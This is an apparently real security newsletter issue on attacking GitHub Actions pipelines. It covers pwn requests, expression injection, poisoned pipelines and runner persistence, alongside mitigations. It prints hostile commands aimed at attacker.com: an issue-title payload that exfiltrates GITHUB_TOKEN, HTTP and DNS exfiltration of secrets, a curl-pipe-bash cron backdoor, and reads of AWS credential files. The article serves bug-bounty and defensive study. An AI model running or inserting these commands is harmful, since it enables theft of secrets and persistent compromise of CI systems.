GitHub Actions: Pipelines as Attack Surface
7 min read
April 19, 2026

Table of contents
👋 Introduction
Hey everyone!
Last issue was XSS, execution in the browser. This week, execution in the pipeline.
GitHub Actions runs with access to repository secrets, cloud credentials, and GITHUB_TOKEN. Every repository with a workflow file is a potential target. The attack surface is wide because CI/CD is trusted by default: code reviewers vet pull requests for logic bugs, not for pipeline injection payloads. The two incidents that define this space, Codecov in 2021 and the tj-actions/changed-files supply chain attack in March 2025, both exfiltrated secrets from thousands of organizations without touching application code.
This week: pull_request_target misuse, script injection via workflow expressions, secrets exfiltration patterns, poisoned pipeline execution, self-hosted runner persistence, and the tooling to find it all.
Let’s get into it 👇
🎯 pull_request_target: The Privileged Trigger
The difference between pull_request and pull_request_target is critical. pull_request runs workflows in the fork context, with no access to secrets and a read-only token. pull_request_target runs in the base repository context, with full access to secrets and a write-capable GITHUB_TOKEN.
The intended use is labeling and commenting on external PRs. The vulnerability is when a pull_request_target workflow also checks out the PR branch and runs code from it:
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # checks out fork code
- run: npm test # executes attacker-controlled code with repo secrets
An attacker submits a PR from a fork with a modified package.json test script or a Makefile that exfiltrates $GITHUB_TOKEN and any configured secrets. The workflow runs their code in a privileged context. GitHub Security Lab calls this a pwn request. The fix is to never check out PR code in a pull_request_target workflow.
💉 Script Injection via Expressions
GitHub Actions interpolates expressions like ${{ github.event.issue.title }} directly into shell scripts before execution. If user-controlled data reaches a run: step, you can inject arbitrary shell commands by controlling that data.
A vulnerable workflow step:
- run: echo "Processing issue: ${{ github.event.issue.title }}"
Set the issue title to:
"; curl -s "https://attacker.com/?t=$GITHUB_TOKEN"; echo "
The resulting shell command becomes:
echo "Processing issue: "; curl -s "https://attacker.com/?t=$GITHUB_TOKEN"; echo ""
The token exfiltrates. The safe pattern is always assigning expressions to environment variables first:
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "Processing issue: $ISSUE_TITLE"
Environment variable expansion does not allow command injection. GitHub’s security hardening guide documents this pattern. Any field under github.event that an external user controls (PR title, branch name, issue body, comment text) is a potential injection source.
🔑 Secrets Exfiltration
A compromised workflow run has access to three categories of secrets: GITHUB_TOKEN, repository and organization secrets under secrets.*, and environment variables set at the job or workflow level (often containing cloud credentials).
GITHUB_TOKEN is automatically injected into every workflow. Default permissions vary by repository settings, but write access to contents, packages, and pull-requests is common. A token with write contents can push commits. Write packages can publish malicious container images to GHCR under the repo’s namespace.
Exfiltration patterns from a compromised run: step:
# Direct HTTP exfiltration
curl -s "https://attacker.com/?t=${GITHUB_TOKEN}&s=${AWS_SECRET_ACCESS_KEY}"
# DNS exfiltration (bypasses egress filtering on some runners)
nslookup "$(echo $GITHUB_TOKEN | base64 | head -c 63).attacker.com"
# Write to artifact (retrieved after the run)
echo "$GITHUB_TOKEN" > /tmp/loot.txt
The March 2025 tj-actions/changed-files supply chain attack printed secrets directly to workflow logs. For public repositories with public logs, that meant every secret in the workflow was readable by anyone. This single compromised action affected tens of thousands of repositories before it was caught.
☠️ Poisoned Pipeline Execution
OWASP CICD-SEC-4 defines three PPE variants. All three result in attacker code executing in a privileged pipeline context.
Direct PPE: The attacker modifies the workflow YAML. Requires write access, but that bar is lower than it sounds: a contributor with triage role, a compromised bot account, or a branch protection misconfiguration.
Indirect PPE: The attacker modifies files the workflow processes, not the workflow itself. If a workflow runs make test or npm test against code that includes a Makefile or package.json, modifying those files poisons the pipeline without touching .github/workflows/. This bypasses CODEOWNERS protection on workflow files.
Public PPE: Any pull_request_target or repository_dispatch trigger on a public repository that executes contributor-submitted code without approval gates. This was the Codecov vector. The Codecov breach modified a bash uploader script in their build pipeline, exfiltrating CI environment variables from every organization running Codecov in their workflows.
🖥 Self-Hosted Runner Persistence
GitHub-hosted runners are ephemeral. Self-hosted runners are not. Compromising a workflow on a self-hosted runner gives you persistence on the underlying machine between workflow runs.
Vectors from a compromised workflow on a self-hosted runner:
# Plant a cron job on the runner host
echo "*/5 * * * * curl -s https://attacker.com/c2.sh | bash" | crontab -
# Backdoor the runner binary itself
# $RUNNER_TOOL_CACHE and $RUNNER_TEMP persist between jobs
echo 'malicious_code' >> $RUNNER_TOOL_CACHE/node/20/x64/bin/node
# Steal credentials cached from previous workflow runs
cat ~/.aws/credentials
ls -la $RUNNER_TEMP
In an organization with a shared self-hosted runner pool, compromising one repository’s workflow gives you access to the execution context of every other workflow on the same runner. The GitHub docs explicitly warn that self-hosted runners should never be used with public repositories.
🛠 Tooling
Gato-X is the current offensive framework for GitHub Actions exploitation. It enumerates misconfigured workflows, identifies pull_request_target abuse patterns, exploits TOCTOU race conditions in self-hosted runner job approval, and attempts secrets exfiltration.
For defensive scanning, poutine finds injection vectors, unpinned actions, and dangerous trigger combinations in workflow files. Raven maps the full CI/CD attack surface across a GitHub organization. For secrets sprawl, TruffleHog scans git history for live credentials and can run as a workflow step itself.
The mitigation that matters most: pin every third-party action to a full commit SHA, not a mutable tag. uses: actions/checkout@v4 is mutable. uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 is not. The tj-actions incident exploited mutable tags at scale.
🎯 Key Takeaways
pull_request_target combined with a checkout of PR code is a critical misconfiguration. It grants fork contributors the same access to secrets as repository maintainers. If you find this pattern in a bug bounty target or internal audit, treat it as a secrets exfiltration vulnerability. You don’t need to exploit the application, just the pipeline.
Script injection via workflow expressions is the pipeline equivalent of SQL injection. Any ${{ github.event.* }} field that an external user controls, landing in a run: step, is a command injection vector. Grep workflow files for run: steps containing expressions referencing event data.
Mutable action tags are the supply chain risk. Every @v1, @main, or @latest reference in a workflow is a dependency that a compromised upstream maintainer can modify. The tj-actions incident hit tens of thousands of repositories this way. Pinning to commit SHAs limits blast radius to known-good code.
Self-hosted runners are persistent footholds. A single compromised workflow run can plant backdoors that survive across all future pipeline executions on the same machine.
Practice:
- CI/CD Goat - deliberately vulnerable CI/CD environment, CTF challenges mapped to OWASP CI/CD Top 10
- TryHackMe: CI/CD and Build Security - hands-on room covering pipeline attacks
- OWASP CI/CD Security Top 10 - risk categories and exploitation context
- GitHub Security Lab: Preventing pwn requests - pull_request_target deep dive
- GitHub Security Lab: Untrusted input - script injection patterns
- Gato-X GitHub - offensive GitHub Actions exploitation framework
- poutine GitHub - workflow security scanner
- Unit 42: tj-actions supply chain attack - 2025 incident analysis
Thanks for reading, and happy hunting!
— Ruben
Other Issues
Previous Issue
💬 Comments Available
Drop your thoughts in the comments below! Found a bug or have feedback? Let me know.